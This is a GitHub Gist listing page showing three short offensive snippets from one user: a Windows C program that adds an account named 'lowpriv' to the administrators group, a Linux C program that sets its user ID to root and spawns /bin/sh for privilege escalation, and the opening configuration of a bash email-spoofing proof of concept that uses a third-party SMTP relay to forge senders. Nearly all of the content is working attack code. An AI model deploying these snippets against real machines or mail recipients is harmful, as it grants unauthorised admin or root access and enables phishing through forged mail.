Skip to content

Instantly share code, notes, and snippets.

Trim Kadriu trimkadriu

Block or report user

Report or block trimkadriu

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@trimkadriu
trimkadriu / user-add.c
Created Nov 4, 2018
Add user PrivEsc Windows
View user-add.c
#include <stdlib.h>
int main ()
{
int i;
i=system ("net localgroup administrators lowpriv /add");
return 0;
}
@trimkadriu
trimkadriu / setuid.c
Created Nov 4, 2018
Set UID to root and bash
View setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char *argv[])
{
setreuid(0, 0);
execve("/bin/sh", NULL, NULL);
}
@trimkadriu
trimkadriu / mail-spoof.sh
Last active Nov 1, 2018
Email Spoofing PoC
View mail-spoof.sh
#!/bin/bash
# Mail Server Config
mail_server_ip="mail.smtp2go.com" # Use free plan SMTP service on smtp2go.com
mail_server_port="2525"
mail_server_username="" # SMTP username
mail_server_password="" # SMTP password
mail_server_legit_email="noreply@smtp2go.com" # The `from` value of SMTP Envelope (not what victim see)
# Email params config
You can’t perform that action at this time.